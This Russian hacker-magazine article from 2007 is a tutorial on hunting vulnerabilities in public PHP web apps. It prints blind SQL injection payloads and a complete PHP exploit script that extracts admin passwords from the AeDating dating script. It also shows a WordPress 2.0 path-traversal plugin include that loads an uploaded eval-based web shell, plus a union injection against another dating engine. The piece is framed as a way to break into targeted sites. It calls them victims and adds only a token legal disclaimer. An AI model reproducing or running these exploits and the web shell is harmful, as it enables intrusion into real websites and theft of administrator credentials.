Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #105, СЕНТЯБРЬ 2007 г.

Невечный двигатель

Маг

Хакер, номер #105, стр. 074

(mag@real.xakep.ru, icq 884888)

Ищем баги в экстремальных условиях!

Здравствуй, мой юный хакер! Бывало ли с тобой когда-нибудь так, что на сайте, который тебе во что бы то ни стало надо было сломать, стоял патченый паблик-движок? Да? И ты наверняка сразу же лез на http://domainsdb.net, но, не найдя там никаких бажных соседей нужного тебе сайта, в отчаянии забрасывал его. Многие так бы и сделали, но мы поступим иначе =). Прямо здесь и сейчас я научу тебя нехитрой работе багоискателя =). Итак, поехали!

Запасаемся необходимым

Как ты, наверное, догадываешься, для взлома нужны определенные инструменты:

  1. веб-сервер Apache, БД MySQL и интерпретатор php (в данном случае воспользуемся всем известным комплексом «все в одном» Denwer, http://denwer.ru);
  2. любой текстовый редактор с подсветкой синтаксиса php (лично я пользуюсь редактором BRED 3.0.3);
  3. утилита для поиска текста в файлах (встроенный поиск Винды не рулит, воспользуемся для этого прогой AVSearch) - на всякий случай.

Установив все вышеперечисленные проги и купив необходимое количество пива, ты можешь со спокойной душой запускать Денвер и следовать за мной по пути взлома популярных php-движков =).

Первая жертва

В качестве первого подопытного кролика я выбрал небезызвестный скрипт знакомств AeDating версии v.4.0 (ссылку на скачивание давать не буду, поскольку этот софт платный, можешь поискать движок на бескрайних просторах инета).

После успешной инсталляции скрипта я перешел по адресу http://localhost/date и увидел довольно симпатичную главную страницу датинга, что заставило меня немедленно полезть в его исходники в поисках уязвимости типа php-include.

Итак, все файлы в папке admin/ при вызове требуют авторизации:

$ADMIN = member_auth( 1 );

Поскольку по дефолту на взламываемом ресурсе у нас не будет прав админа, такие файлы для изучения нам, естественно, не подойдут. Дальше, постепенно перебирая все файлы и папки, натыкаемся на папочку inc/, где, открыв первый попавшийся файлик - admin.inc.php, видим такую строчку:

require_once("{$dir['inc']}match.inc.php");

Типичный php-инклуд. Описывать его я не буду, поскольку, как позже выяснилось, это была паблик-уязвимость, а нам надо найти свою и неповторимую.

Теперь в поисках бага (уже SQL-injection) логичней всего было полазить из браузера по самому скрипту, чем я и занялся. Быстренько зарегавшись и войдя в свой профиль, я кликнул по первой попавшейся ссылке поиска юзеров для знакомства (http://localhost/date/search.php) и увидел там множество полей, над которыми можно было вволю поиздеваться =). Введя кавычку в поле «Поиск по ID», я ничего не получил, а вот второе поле - «Поиск по нику» - отреагировало на мои извращения следующим образом:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\lamer\www\date3\search_result.php on line 435

SELECT Profiles.ID, Headline, Country, Occupation, City, Sex, Sex2, ProfileType, NickName,
Children, MerchantPrice, LEFT( DescriptionMe, 180 ) AS DescriptionMe, LEFT( DescriptionYou, 100 )
AS DescriptionYou, DateOfBirth, DateOfBirth2, Pic_0_addon, Sound, (LastNavTime >
SUBDATE(NOW(), INTERVAL 5 MINUTE)) as is_onl FROM Profiles WHERE Status = 'Active' AND
NickName = ''' ORDER BY Priority DESC, Priority DESC, Profiles.LastLoggedIn DESC LIMIT 0, 10

Подсчитав количество полей (их оказалось 18), я ввел следующее значение в «Поиск по нику»:

' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

Но скрипт обломал меня, нигде не показав результат моего запроса. Копать глубже было лень, и я пошел по другим разделам датинга. Оговорюсь сразу, что бесполезных инъекций, подобных предыдущей, было великое множество (например, http://localhost/date/profile_edit.php?ID=1', для тренировки ты можешь поискать их сам), но практической пользы они принести опять же не могли. После получаса поисков мое внимание привлек нехитрый скрипт для оценки фотографий пользователей: http://localhost/date/rate.php. При заходе на него взору открывается рандомная фотка из рандомного профиля юзера (тебе надо зарегать нового пользователя и залить для него фотку, чтобы следовать за мной дальше). Открыв исходный текст страницы, я увидел там hidden-параметры ID и pic_number и немного подкорректировал html-код уже сохраненной на винт странички:

<form method=post name=FormVote>

заменил на

<form method=post name=FormVote action="http://localhost/date/rate.php">

затем <input type="hidden" name="ID" value=2>

на <input name="ID" value=2>

и <input type="hidden" name="pic_number" value=1>

на <input name="pic_number" value=1>

Затем я подставил во вновь образовавшиеся два поля кавычку и увидел вывод скрипта:

SELECT AVG(Mark) FROM VotesPhotos WHERE Member=2 AND Pic=1'

Значит, в нашем случае не фильтровалось поле с pic_number. Его-то мы и будем дальше использовать для нашей blind SQL-injection =).

Итак, смотрим, что будет, если подставить в наше поле синтаксически верный запрос. Например, «1 AND 1=1/*». Скрипт выплюнет нам страничку, которая и должна быть при правильном ее использовании =). А теперь подставляем в уязвимое поле «1 AND 1=2/*» и видим: «Всего голосов: 0» и «Средний рейтинг: 0.0». При правильном запросе - «Всего голосов: 1».

Теперь на основе полученной информации можно написать несложный эксплойт на том же самом PHP.

Автоматизация процесса

Я не буду сильно углубляться в кодинг, моя задача - написать демонстрационный эксплойт, чтобы показать возможности найденного бага. Для начала нам необходимо узнать, в какой таблице хранятся логины и пароли админов датинга, для чего идем по адресу http://localhost/phpmyadmin и смотрим базу нашего скрипта (у меня это date). Таблица с админами обнаруживается сразу - это Admins. Теперь необходимо продумать структуру сплоита. Для простоты я буду писать его для MySQL версии 4.1 (и выше), поддерживающего подзапросы.

Итак, наш ядовитый запрос, вставляемый в то самое уязвимое поле, будет выглядеть следующим образом:

1 and char($char)=(select substring(Password,1,1) from Admins limit 1)/*

Здесь $char - это ASCII-код первого перебираемого символа из поля с паролем админа, то есть если этот символ равен перебираемому, тогда скрипт выполнится верно (аналог «1 AND 1=1/*» из моего примера) и покажет, что всего голосов 1, в противном случае - что голосов 0 =). Думаю, что тут все понятно, и можно приступать к написанию сплоита. Сразу оговорюсь, что мускулу все равно, большими мы буквами оперируем или маленькими, поэтому возьмем диапазон только из маленьких букв.

Вот код моего небольшого сплоита с комментариями:

<?

//адрес уязвимого скрипта

$site='localhost';

$path='/date/rate.php';

//перебираемый в данный момент символ пароля

$now_symbol=1;

//массив с ASCII-кодами символов a-z, 0-9

$arr=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122);

function check($char)

{

global $site,$path,$now_symbol;

$fp = fsockopen($site, 80, $errno, $errstr, 30);

//строка с POST-параметрами, включая бажный pic_number

$data="ID=242815&pic_number=1 and char($char)=(select substring(Password,$now_symbol,1) from Admins limit 1)/*&vote=1";

$out = "POST $path HTTP/1.1\r\n";

$out .= "Host: $site\r\n";

$out .= "Content-type: application/x-www-form-urlencoded\r\n";

$out .= "Connection: Close\r\n";

$out .= "User-Agent: Opera\r\n";

//сюда обязательно вставляем куки нашего зареганного пользователя

$out .= "Cookie: memberID=251251;memberPassword=sepZr7YHwgxGw;\r\n";

$out .= "Content-Length: ".strlen($data)."\r\n\r\n";

fwrite($fp, $out.$data);

while (!feof($fp))

{

$kusok.= fread($fp, 4800);

}

fclose($fp);

return $kusok;

}

$i=0;

//проверка на средний рейтинг, равный 0.0, пока запрос неверен

while(ereg('(0\.0)',check($arr[$i])))

{

flush();

print chr($arr[$i]).'-not<br/>';

$i++;

}

print chr($arr[$i]).'-yes<br/>';

?>

Запустив этот сплоит у себя на компьютере и изменяя значение $now_symbol, ты через несколько минут соберешь весь пароль админа =). Конечно, можно доделать этот код, чтобы не вписывать новое значение искомого символа после каждой найденной буквы пароля, но рамки статьи этого не позволяют - потрудись это сделать самостоятельно. Дальше, уже из админки, ты можешь спокойно получить шелл на сервере, просто залив php-файл в качестве баннера или фотографии =).

Новая кровь

Как ты уже понял, на одном датинге мы не собираемся останавливаться =). Следующая наша жертва - небезызвестный движок для блогов WordPress версии 2.0. Именно в нем я нашел способ заливки шелла из админки, даже когда нет прав, чтобы редактировать шаблоны и плагины. Наша задача - любыми методами попасть в эту пресловутую админку. Для этого можно воспользоваться любым из сплоитов, предоставленных на http://milw0rm.com. Описание их работы не является моей задачей =). Итак, поставив движок на свой комп, создав нового админа, мы логинимся и оказываемся в огромной админке. Теперь нужно искать баги. Для этого подставляем кавычки во всевозможные параметры, вписываем что-то типа /etc/passwd во всевозможные окошки, но нигде нам не подворачивается ничего стоящего. А теперь посмотри внимательно на исходник страницы с плагинами plugins.php. Видишь в самом верху?

if ('activate' == $_GET['action']) {

$current = get_settings('active_plugins');

if (!in_array($_GET['plugin'], $current)) {

$current[] = trim( $_GET['plugin'] );

sort($current);

update_option('active_plugins', $current);

include(ABSPATH . 'wp-content/plugins/' . trim( $_GET['plugin'] ));

do_action('activate_' . trim( $_GET['plugin'] ));

}

Это значит, что, если активируется какой-либо новый плагин, он сразу инклудится прямо в движок без какой-либо проверки пути или содержимого! Теперь остается только залить куда-нибудь шелл, с помощью которого мы будем измываться над жертвой. Благо WordPress предоставляет такую возможность =). Заходим в «Options -> Miscellaneous», ставим галочку Allow File Uploads и вводим следующий путь для загрузки файлов вместо существующего: /../../../../../../../../../../../../../../../../../tmp. После всех вышеописанных действий самое время заливать шелл =). Для этого подготовим файлик (например, 1.jpg) со следующим содержимым:

<?php

if(isset($_GET[aa]))

{

eval(trim(stripslashes($_GET[aa])));

}

?>

Заливаем этот файл посредством HTML-формы, которая находится на страничке создания новой блоговой записи. Все. Теперь со спокойной душой открываем http://localhost/wordpress/wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../../1.jpg.

Шелл успешно заинклудится в наш скрипт, и мы сможем его использовать следующим образом:

http://localhost/wordpress/aa=system('id');

А вообще для инклуда в чужие скрипты я использую php-код собственного написания, который ты можешь найти на диске, прилагаемом к журналу.

Дальше, думаю, ты разберешься =). Сейчас же на моем операционном столе находится новый пациент.

Датинги рулят!

И вот снова под микроскопом очередной скрипт популярного датинга (что-то они мне полюбились =)). На этот раз - Dating Software, довольно удачный конкурент предыдущего бажного движка. Здесь я действовал так же, как и при предыдущем поиске бага. Мельком просмотрел сорцы на php-инклуд, повтыкал кавычки в разные параметры, но, на свое удивление, не обнаружил таких глупых ошибок, какие я находил ранее. Пришлось более основательно копаться в исходниках =(. Первым делом я полез в index.php и чуть не упал со стула, когда в первых же строчках кода увидел следующее:

if (isset ($HTTP_GET_VARS['referid'])) {

$referid=$HTTP_GET_VARS['referid'];

setcookie("referrer","$referid",0);

$query="SELECT aff_clickthru FROM affiliates WHERE aff_userid=$referid";

$result=mysql_query($query,$link) or die(mysql_error());

Переменная $referid совершенно не фильтровалась! Чтобы убедиться в этом воочию, я проследовал по адресу http://lamer/date/?referid=' (туда я поставил новый датинг) и увидел ошибку, которую ты можешь наблюдать на скриншоте =). В данном случае тоже ничего нельзя было получить просто и нужно было думать над составлением запроса и написанием сплоита к найденной инъекции.

После бутылки пива я, наконец, составил нужный мне запрос для MySQL версии 4.1 (и выше). Он выглядел следующим образом:

/?referid=-99 union select 1 from members where mem_userid=14576
and char($char)=(select substring(mem_password,1,1) from members where mem_userid=14576)/*

Объясняю. 14576 - это ID администратора (manager) по дефолту. Если наш запрос выполнится и будет верным (то есть «"and 1=1"/*», как в предыдущем примере), то мы перейдем на следующий запрос в скрипте и увидим такую ошибку:

[You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1 from members where mem_userid=14576 and 1=1/*' at line 1]

update affiliates set aff_clickthru = aff_clickthru+1 where aff_userid=-99 union select 1 from members where mem_userid=14576 and 1=1/*

Скрипт пытается подставить наш корявый $referid в UPDATE-запрос, что, естественно, вызывает ошибку.

Если же запрос не найдет совпадений в базе (то есть перебираемый символ не будет равен нужному символу в пароле админа), то скрипт попросту выдаст нам свою главную страницу, даже не заругавшись. Не буду приводить код эксплойта под этот баг, ты сможешь найти его на диске к журналу. Скажу лишь, что он работает по принципу нахождения ключевого слова syntax: если оно есть - перебираем дальше, если нет - искомый символ найден.

Эпилог

Подведем небольшой итог. Были найдены три очень серьезные уязвимости в движках, которых полно в инете; было проанализировано много строк php-кода и раскрыты некоторые тонкости поиска багов. Теперь, кто знает, может быть, именно ты найдешь новую дыру, приводящую к заливке шелла в последнем phpBB ;-).

WWW

DANGER

Следует отдавать себе отчет в том, что эта статья была написана исключительно в исследовательских целях и любые твои действия, нарушающие законы страны, в которой ты проживаешь, могут привести к уголовной ответственности.

INFO

Ты не можешь использовать платные движки на своем веб-сайте. После ознакомления с движком, ты обязан удалить его со своего компьютера.

Когда будешь искать баги, первым делом проверь hidden-поля в различных html-формах. Наиболее вероятно, что именно в таком поле не будет фильтроваться пользовательский ввод.

Содержание